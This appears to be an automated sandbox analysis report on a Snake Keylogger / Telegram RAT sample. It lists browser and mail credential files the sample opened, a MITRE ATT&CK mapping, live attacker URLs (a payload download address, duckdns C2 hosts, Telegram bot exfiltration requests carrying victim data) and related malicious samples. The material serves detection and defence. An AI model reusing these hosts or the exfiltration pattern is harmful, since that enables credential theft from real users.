File source: Process Memory Space: wabmig.exe PID: 8168, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Top Sites	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\			Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676			Jump to behavior

Source: Yara match	File source: 00000007.00000002.2695880589.0000000022EE5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: wabmig.exe PID: 8168, type: MEMORYSTR

Remote Access Functionality

Yara detected Snake Keylogger

Source: Yara match

File source: 00000007.00000002.2695880589.0000000022DE1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match

File source: Process Memory Space: wabmig.exe PID: 8168, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	1 OS Credential Dumping	3 File and Directory Discovery	Remote Services	1 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 PowerShell	Boot or Logon Initialization Scripts	1 Access Token Manipulation	2 Obfuscated Files or Information	LSASS Memory	116 System Information Discovery	Remote Desktop Protocol	1 Data from Local System	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	111 Process Injection	1 Software Packing	Security Account Manager	1 Query Registry	SMB/Windows Admin Shares	1 Email Collection	11 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	211 Security Software Discovery	Distributed Component Object Model	1 Clipboard Data	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Masquerading	LSA Secrets	1 Process Discovery	SSH	Keylogging	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	41 Virtualization/Sandbox Evasion	Cached Domain Credentials	41 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Access Token Manipulation	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	111 Process Injection	Proc Filesystem	1 System Network Configuration Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	21%	ReversingLabs	Win32.Trojan.Generic

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\nsbB152.tmp\nsExec.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\acneform\Tjenestepligterne\file.exe	21%	ReversingLabs	Win32.Trojan.Generic

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
http://checkip.dyndns.org	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
http://nsis.sf.net/NSIS_ErrorError	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
http://varders.kozow.com:8081	0%	URL Reputation	safe
http://aborters.duckdns.org:8081	100%	URL Reputation	malware
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
http://checkip.dyndns.org/	0%	URL Reputation	safe
https://aka.ms/pscore6lB	0%	URL Reputation	safe
http://anotherarmy.dns.army:8081	100%	URL Reputation	malware
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
https://reallyfreegeoip.org	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
https://reallyfreegeoip.org/xml/	0%	URL Reputation	safe
http://www.apache.org/licenses/LICENSE-2.0.html	0%	Avira URL Cloud	safe
https://www.office.com/lB	0%	Avira URL Cloud	safe
https://api.telegram.org	0%	Avira URL Cloud	safe
https://api.telegram.org/bot	0%	Avira URL Cloud	safe
https://chrome.google.com/webstore?hl=en	0%	Avira URL Cloud	safe
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Avira URL Cloud	safe
https://www.office.com/	0%	Avira URL Cloud	safe
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:093954%0D%0ADate%20a	0%	Avira URL Cloud	safe
https://reallyfreegeoip.org/xml/8.46.123.33	0%	Avira URL Cloud	safe
https://api.telegram.org/bot/sendMessage?chat_id=&text=	0%	Avira URL Cloud	safe
https://github.com/Pester/Pester	0%	Avira URL Cloud	safe
https://reallyfreegeoip.org/xml/8.46.123.33$	0%	Avira URL Cloud	safe
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:093954%0D%0ADate%20and%20Time:%2025/09/2024%20/%2022:55:52%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20093954%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D	0%	Avira URL Cloud	safe
https://chrome.google.com/webstore?hl=enlB	0%	Avira URL Cloud	safe
http://crl.microsoft0Wq	0%	Avira URL Cloud	safe
http://185.29.11.53/fhSIfglR68.bin	0%	Avira URL Cloud	safe
http://185.29.11.53/fhSIfglR68.bin;	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
reallyfreegeoip.org	188.114.97.3	true	true	unknown
api.telegram.org	149.154.167.220	true	true	unknown
checkip.dyndns.com	132.226.247.73	true	false	unknown
checkip.dyndns.org	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://reallyfreegeoip.org/xml/8.46.123.33	false	Avira URL Cloud: safe	unknown
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:093954%0D%0ADate%20and%20Time:%2025/09/2024%20/%2022:55:52%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20093954%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D	false	Avira URL Cloud: safe	unknown
http://checkip.dyndns.org/	false	URL Reputation: safe	unknown
http://185.29.11.53/fhSIfglR68.bin	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.office.com/	wabmig.exe, 00000007.00000002.2695880589.0000000022FCD000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/chrome_newtab	wabmig.exe, 00000007.00000002.2697467542.0000000023E01000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000002.00000002.2210698080.0000000005DF7000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	wabmig.exe, 00000007.00000002.2697467542.0000000023E01000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.telegram.org	wabmig.exe, 00000007.00000002.2695880589.0000000022EC1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	wabmig.exe, 00000007.00000002.2697467542.0000000023E01000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000002.00000002.2207916280.0000000004EE5000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.telegram.org/bot	wabmig.exe, 00000007.00000002.2695880589.0000000022EC1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:093954%0D%0ADate%20a	wabmig.exe, 00000007.00000002.2695880589.0000000022EC1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000002.00000002.2207916280.0000000004EE5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/License	powershell.exe, 00000002.00000002.2210698080.0000000005DF7000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.office.com/lB	wabmig.exe, 00000007.00000002.2695880589.0000000022FC8000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000002.00000002.2210698080.0000000005DF7000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	wabmig.exe, 00000007.00000002.2697467542.0000000023E01000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://checkip.dyndns.org	wabmig.exe, 00000007.00000002.2695880589.0000000022DE1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	wabmig.exe, 00000007.00000002.2697467542.0000000023E01000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://nsis.sf.net/NSIS_ErrorError	file.exe, file.exe.2.dr	false	URL Reputation: safe	unknown
https://api.telegram.org/bot/sendMessage?chat_id=&text=	wabmig.exe, 00000007.00000002.2695880589.0000000022EC1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://chrome.google.com/webstore?hl=en	wabmig.exe, 00000007.00000002.2695880589.0000000022F9C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	wabmig.exe, 00000007.00000002.2697467542.0000000023E01000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://varders.kozow.com:8081	wabmig.exe, 00000007.00000002.2695880589.0000000022DE1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 00000002.00000002.2207916280.0000000004EE5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://aborters.duckdns.org:8081	wabmig.exe, 00000007.00000002.2695880589.0000000022DE1000.00000004.00000800.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
https://ac.ecosia.org/autocomplete?q=	wabmig.exe, 00000007.00000002.2697467542.0000000023E01000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://aka.ms/pscore6lB	powershell.exe, 00000002.00000002.2207916280.0000000004D91000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://reallyfreegeoip.org/xml/8.46.123.33$	wabmig.exe, 00000007.00000002.2695880589.0000000022EC1000.00000004.00000800.00020000.00000000.sdmp, wabmig.exe, 00000007.00000002.2695880589.0000000022E55000.00000004.00000800.00020000.00000000.sdmp, wabmig.exe, 00000007.00000002.2695880589.0000000022E9A000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://anotherarmy.dns.army:8081	wabmig.exe, 00000007.00000002.2695880589.0000000022DE1000.00000004.00000800.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	wabmig.exe, 00000007.00000002.2697467542.0000000023E01000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/	powershell.exe, 00000002.00000002.2210698080.0000000005DF7000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000002.00000002.2210698080.0000000005DF7000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://chrome.google.com/webstore?hl=enlB	wabmig.exe, 00000007.00000002.2695880589.0000000022F97000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://reallyfreegeoip.org	wabmig.exe, 00000007.00000002.2695880589.0000000022EC1000.00000004.00000800.00020000.00000000.sdmp, wabmig.exe, 00000007.00000002.2695880589.0000000022E2A000.00000004.00000800.00020000.00000000.sdmp, wabmig.exe, 00000007.00000002.2695880589.0000000022E9A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000002.00000002.2207916280.0000000004D91000.00000004.00000800.00020000.00000000.sdmp, wabmig.exe, 00000007.00000002.2695880589.0000000022DE1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.microsoft0Wq	powershell.exe, 00000002.00000002.2212699188.00000000074A0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	wabmig.exe, 00000007.00000002.2697467542.0000000023E01000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.29.11.53/fhSIfglR68.bin;	wabmig.exe, 00000007.00000002.2683738778.0000000007843000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://reallyfreegeoip.org/xml/	wabmig.exe, 00000007.00000002.2695880589.0000000022E2A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	true
188.114.97.3	reallyfreegeoip.org	European Union	13335	CLOUDFLARENETUS	true
185.29.11.53	unknown	European Union	203557	DATACLUB-NL	false
132.226.247.73	checkip.dyndns.com	United States	16989	UTMEMUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1518332
Start date and time:	2024-09-25 15:59:09 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 28s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@6/12@3/4
EGA Information:	Successful, ratio: 66.7%
HCA Information:	Successful, ratio: 96% Number of executed functions: 157 Number of non-executed functions: 45
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 7496 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
10:00:08	API Interceptor	31x Sleep call for process: powershell.exe modified
10:01:29	API Interceptor	416x Sleep call for process: wabmig.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
149.154.167.220	z84TTREMITTANCEUSD347_432_63.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	rLegalOpinionCopy_doc.cmd	Get hash	malicious	VIP Keylogger	Browse
	Teklifformu_Ekinoks LS 1087251 04-00000152.exe	Get hash	malicious	Snake Keylogger	Browse
	test.bat	Get hash	malicious	MicroClip	Browse
	rTEKL__FTALEPVEF__YATTEKL__F___xlsx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	rTEKL__FTALEPVEF__YATTEKL__F__.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	rBSH200924_pdf.cmd.exe	Get hash	malicious	VIP Keylogger	Browse
	Or3dzp4vB1.exe	Get hash	malicious	XWorm	Browse
	z9OutstandingPayment.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	rdoc17000320240923070456.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse
188.114.97.3	PO5118000306 pdf.exe	Get hash	malicious	FormBook	Browse	www.rtprajalojago.live/2wnz/
	(PO403810)_VOLEX_doc.exe	Get hash	malicious	Lokibot	Browse	dddotx.shop/Mine/PWS/fre.php
	QUOTATION_SEPQTRA071244PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/DiF66Hbf/download
	http://easyantrim.pages.dev/id.html	Get hash	malicious	HTMLPhisher	Browse	easyantrim.pages.dev/id.html
	QUOTATION_SEPQTRA071244PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/13rSMZZi/download
	Purchase Order_ AEPL-2324-1126.exe	Get hash	malicious	FormBook	Browse	www.rtpngk.xyz/yhsl/
	PO-001.exe	Get hash	malicious	FormBook	Browse	www.x0x9x8x8x7x6.shop/assb/
	PO2024033194.exe	Get hash	malicious	FormBook	Browse	www.cc101.pro/4hfb/
	ADNOC REQUESTS & reviews.exe	Get hash	malicious	FormBook	Browse	www.chinaen.org/zi4g/
	updater.exe	Get hash	malicious	Unknown	Browse	microsoft-rage.world/Api/v3

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
reallyfreegeoip.org	z84TTREMITTANCEUSD347_432_63.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	rLegalOpinionCopy_doc.cmd	Get hash	malicious	VIP Keylogger	Browse	188.114.96.3
	cargo details.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	Teklifformu_Ekinoks LS 1087251 04-00000152.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	FAKTURA_.EXE.exe	Get hash	malicious	DarkTortilla, Snake Keylogger	Browse	188.114.97.3
	rTEKL__FTALEPVEF__YATTEKL__F___xlsx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	rTEKL__FTALEPVEF__YATTEKL__F__.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	rPROFORMAINVOICE-PO_ATS_1036pdf.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	rBSH200924_pdf.cmd.exe	Get hash	malicious	VIP Keylogger	Browse	188.114.97.3
	rShippingDocuments_Pdf.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
checkip.dyndns.com	z84TTREMITTANCEUSD347_432_63.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.130.0
	rLegalOpinionCopy_doc.cmd	Get hash	malicious	VIP Keylogger	Browse	132.226.247.73
	cargo details.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	Teklifformu_Ekinoks LS 1087251 04-00000152.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	FAKTURA_.EXE.exe	Get hash	malicious	DarkTortilla, Snake Keylogger	Browse	193.122.6.168
	rTEKL__FTALEPVEF__YATTEKL__F___xlsx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	rTEKL__FTALEPVEF__YATTEKL__F__.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.8.169
	rPROFORMAINVOICE-PO_ATS_1036pdf.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.8.169
	rBSH200924_pdf.cmd.exe	Get hash	malicious	VIP Keylogger	Browse	193.122.6.168
	rShippingDocuments_Pdf.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
api.telegram.org	z84TTREMITTANCEUSD347_432_63.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	rLegalOpinionCopy_doc.cmd	Get hash	malicious	VIP Keylogger	Browse	149.154.167.220
	Teklifformu_Ekinoks LS 1087251 04-00000152.exe	Get hash	malicious	Snake Keylogger	Browse	149.154.167.220
	test.bat	Get hash	malicious	MicroClip	Browse	149.154.167.220
	rTEKL__FTALEPVEF__YATTEKL__F___xlsx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	rTEKL__FTALEPVEF__YATTEKL__F__.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	rBSH200924_pdf.cmd.exe	Get hash	malicious	VIP Keylogger	Browse	149.154.167.220
	Or3dzp4vB1.exe	Get hash	malicious	XWorm	Browse	149.154.167.220
	z9OutstandingPayment.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	rdoc17000320240923070456.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	z84TTREMITTANCEUSD347_432_63.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	rLegalOpinionCopy_doc.cmd	Get hash	malicious	VIP Keylogger	Browse	149.154.167.220
	Teklifformu_Ekinoks LS 1087251 04-00000152.exe	Get hash	malicious	Snake Keylogger	Browse	149.154.167.220
	test.bat	Get hash	malicious	MicroClip	Browse	149.154.167.220
	rTEKL__FTALEPVEF__YATTEKL__F___xlsx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	rTEKL__FTALEPVEF__YATTEKL__F__.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	rBSH200924_pdf.cmd.exe	Get hash	malicious	VIP Keylogger	Browse	149.154.167.220
	Or3dzp4vB1.exe	Get hash	malicious	XWorm	Browse	149.154.167.220
	z9OutstandingPayment.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	rdoc17000320240923070456.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
CLOUDFLARENETUS	Shipping documents 000022999878999800009999.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	104.26.13.205
	EFT Remittance - 25_09_24 Ref_3c70ac202caa933179b3568afa512866a7bd5171.eml	Get hash	malicious	Unknown	Browse	104.17.25.14
	z84TTREMITTANCEUSD347_432_63.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	rLegalOpinionCopy_doc.cmd	Get hash	malicious	VIP Keylogger	Browse	188.114.96.3
	cargo details.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	update.ps1	Get hash	malicious	NetSupport RAT, HTMLPhisher	Browse	104.21.73.126
	https://1drv.ms/o/s!AnrtiNmLLRZglVBmj_pzjvzIvHZ7?e=WnZeS1	Get hash	malicious	HtmlDropper	Browse	104.18.94.41
	hnvc.vbs	Get hash	malicious	PureLog Stealer	Browse	188.114.97.3
	1e#U0414.exe	Get hash	malicious	Lokibot	Browse	188.114.96.3
	wm.vbs	Get hash	malicious	PureLog Stealer, XWorm	Browse	188.114.96.3
DATACLUB-NL	Shipping documents 000022999878999800009999.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	185.29.11.53
	Ze1Ueabtx5.img	Get hash	malicious	AgentTesla, GuLoader	Browse	185.29.11.53
	Documenti di spedizione 0009333000459595995.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	185.29.11.53
	PO 00009876660887666000.bat.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	84.38.133.121
	Bankcopyscanneddoc.exe	Get hash	malicious	RedLine	Browse	84.38.129.21
	xCjIO3SCur0S.exe	Get hash	malicious	Remcos	Browse	185.29.11.23
	new.cmd	Get hash	malicious	GuLoader	Browse	185.29.11.28
	temp.cmd	Get hash	malicious	Unknown	Browse	185.29.11.28
	price_request_.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	185.29.11.62
	disprovable.dll	Get hash	malicious	CryptOne, Qbot	Browse	84.38.133.191

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	z84TTREMITTANCEUSD347_432_63.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	rLegalOpinionCopy_doc.cmd	Get hash	malicious	VIP Keylogger	Browse	188.114.97.3
	cargo details.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	Teklifformu_Ekinoks LS 1087251 04-00000152.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	FAKTURA_.EXE.exe	Get hash	malicious	DarkTortilla, Snake Keylogger	Browse	188.114.97.3
	rTEKL__FTALEPVEF__YATTEKL__F___xlsx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	rTEKL__FTALEPVEF__YATTEKL__F__.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	rPROFORMAINVOICE-PO_ATS_1036pdf.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	rBSH200924_pdf.cmd.exe	Get hash	malicious	VIP Keylogger	Browse	188.114.97.3
	t1RVQb98yT.exe	Get hash	malicious	S400 RAT	Browse	188.114.97.3
3b5074b1b5d032e5620f69f9f700ff0e	Shipping documents 000022999878999800009999.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	149.154.167.220
	z84TTREMITTANCEUSD347_432_63.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	rLegalOpinionCopy_doc.cmd	Get hash	malicious	VIP Keylogger	Browse	149.154.167.220
	update.ps1	Get hash	malicious	NetSupport RAT, HTMLPhisher	Browse	149.154.167.220
	https://1drv.ms/o/s!AnrtiNmLLRZglVBmj_pzjvzIvHZ7?e=WnZeS1	Get hash	malicious	HtmlDropper	Browse	149.154.167.220
	https://texicoschools-my.sharepoint.com/:f:/p/bhadley/EsaMKJ-X61dEm1tZEaws2DMBSjLuzfhGBl4pu2aaho1XiQ?e=fJogeV	Get hash	malicious	Unknown	Browse	149.154.167.220
	hnvc.vbs	Get hash	malicious	PureLog Stealer	Browse	149.154.167.220
	wm.vbs	Get hash	malicious	PureLog Stealer, XWorm	Browse	149.154.167.220
